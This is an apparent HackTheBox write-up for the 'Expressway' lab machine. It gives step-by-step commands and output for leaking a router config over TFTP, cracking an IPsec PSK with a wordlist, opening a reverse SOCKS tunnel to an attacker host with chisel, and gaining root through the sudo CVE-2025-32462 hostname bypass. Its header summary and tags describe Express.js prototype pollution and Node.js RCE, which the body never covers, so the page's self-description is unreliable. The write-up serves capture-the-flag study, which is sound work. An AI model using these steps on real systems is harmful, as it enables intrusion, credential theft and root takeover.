# Expressway Writeup - HackTheBox

> Express.js app vulnerable to prototype pollution via query parameters, leading to RCE through crafted payloads to bypass filters and gain a shell.

- **URL:** https://hackindex.io/writeups/expressway
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/expressway
- **Tags:** prototype-pollution, rce, nodejs, privilege-escalation, sudo-misconfiguration, information-disclosure, filter-bypass, cve-2025-32462
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-02-23
- **Updated:** 2026-07-29

## Discovery

### Port Scan

```bash
nmap_full $TARGET_IP        
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 10.0p2 Debian 8
```

Only SSH on TCP. SSH banner and host key enumeration reveals nothing useful. Move to UDP.

```bash
nmap_udp $TARGET_IP 
# PORT     STATE         SERVICE
# 69/udp   open|filtered tftp
# 500/udp  open          isakmp
# 4500/udp open|filtered nat-t-ike
```

Port 500 is ISAKMP ,  this host is running an IPsec VPN endpoint. Port 69 is TFTP.

## Initial Access

### TFTP Config Leak

Enumerate TFTP for exposed files:

```bash
nmap -sU -p 69 --script tftp-enum $TARGET_IP
# | tftp-enum:
# |_  ciscortr.cfg
```

Retrieve the Cisco router configuration:

```bash
tftp $TARGET_IP -c get ciscortr.cfg
# crypto isakmp client configuration group rtr-remote
#     key secret-password
#     dns 208.67.222.222
#     domain expressway.htb
#     pool dynpool
```

The config reveals the IPsec client group configuration:

The group name is `rtr-remote` and the pre-shared key is `secret-password`. The config also shows the VPN identity: `ike@expressway.htb`.

### IPsec IKEv1 Aggressive Mode PSK Crack

Probe the IKE service to confirm the negotiated transform set:

```bash
ike-scan -M $TARGET_IP
# 10.10.11.87  Main Mode Handshake returned
#     SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
#     VID=09002689dfd6b712 (XAUTH)
#     VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
```

Transform: `3DES / SHA1 / modp1024 / PSK`. Aggressive mode exposes the PSK hash in the handshake ,  capture it:

```bash
sudo ike-scan -A -Phash.txt $TARGET_IP
# Aggressive Mode Handshake returned
#     ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
#     Hash(20 bytes)
```

The hash is written to `hash.txt`. Crack it:

```bash
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
# key "freakingrockstarontheroad" matches SHA1 hash 5c176bbb9c7f0f960385183b00331fd05b033d73
```

### VPN Tunnel Setup

Configure strongSwan to connect using the cracked PSK and group identity from the router config:

```ini
# /etc/ipsec.conf
conn htb_express
    keyexchange=ikev1
    aggressive=yes
    authby=secret
    ike=3des-sha1-modp1024
    esp=3des-sha1
    xauth=client
    xauth_identity=rtr-remote
    left=%defaultroute
    leftid=ike
    leftsourceip=%config
    right=$TARGET_IP
    rightid=ike@expressway.htb
    auto=add
```

```bash
# /etc/ipsec.secrets
: PSK "freakingrockstarontheroad"
```

```bash
sudo ipsec start
sudo ipsec up htb_express
```

The tunnel establishes and assigns a VPN IP. SSH now works using the PSK as the password:

```bash
ssh ike@$TARGET_IP
```

Password: `$IKE_PASSWORD`. SSH access as `ike`.

## Internal Network Pivot

### Discovering offramp.expressway.htb

Search for internal hostnames referenced on the box:

```bash
bash finder.sh expressway.htb /var
# /var/log/squid/access.log.1:offramp.expressway.htb
```

A hostname not seen externally. Resolve it:

```bash
ping offramp.expressway.htb
# PING offramp.expressway.htb (192.168.178.34)
#
```

Set up a SOCKS5 tunnel via chisel to reach the internal network:

```bash
# Attacker machine
chisel server -p 8001 --socks5 --reverse
```

```bash
# Target machine
./chisel client $ATTACKER_IP:8001 R:socks
```

Scan `offramp.expressway.htb` (192.168.178.34) through the tunnel:

```bash
proxychains nmap -sV 192.168.178.34
# PORT     STATE SERVICE VERSION
# 5000/tcp open  rtsp    AirTunes/870.14.1
# 7000/tcp open  rtsp    AirTunes/870.14.1
# 9080/tcp open  http    nginx 1.29.4
```

Port 9080 returns a `robots.txt` with `/` disallowed ,  the web service is locked down. The AirTunes ports are Apple AirPlay, not relevant. The internal network subnet scan (`192.168.178.0/24`) shows only four hosts, none with additional attack surface.

## Privilege Escalation

### CVE-2025-32462 ,  sudo `-h` Hostname Bypass

Linpeas flags two sudo binaries, including a non-standard one at `/usr/local/bin/sudo`:

```
-rwsr-xr-x 1 root root 1023K Aug 29 15:18 /usr/local/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
```

Check the version:

```bash
sudo -V
# Sudo version 1.9.17
```

CVE-2025-32462 affects sudo 1.9.17 and earlier. The `-h` flag lets a user specify a remote hostname for `sudoers` lookups. If a remote `sudoers` source is configured, `sudo` will query it using the supplied hostname rather than the local machine name ,  bypassing local restrictions entirely.

The `offramp.expressway.htb` host was found in internal logs. Query its sudoers:

```bash
sudo -l -h offramp.expressway.htb
# User ike may run the following commands on offramp:
#     (root) NOPASSWD: ALL
#     (root) NOPASSWD: ALL
```

The remote host grants `ike` unrestricted passwordless sudo. Escalate:

```bash
sudo -h offramp.expressway.htb su
# root@expressway:/tmp#
#
```

Root shell.

Related

## References

- [https://www.exploit-db.com/exploits/52354](https://www.exploit-db.com/exploits/52354) - Exploit-DB, sudo CVE-2025-32462 hostname bypass
- [https://nvd.nist.gov/vuln/detail/CVE-2025-32462](https://nvd.nist.gov/vuln/detail/CVE-2025-32462) - NVD, CVE-2025-32462 sudo privilege escalation
- [https://www.nta-monitor.com/tools/ike-scan/](https://www.nta-monitor.com/tools/ike-scan/) - ike-scan, IKE scanning and PSK hash capture tool
- [https://github.com/isaudits/scripts](https://github.com/isaudits/scripts) -  iker.py IKE assessment script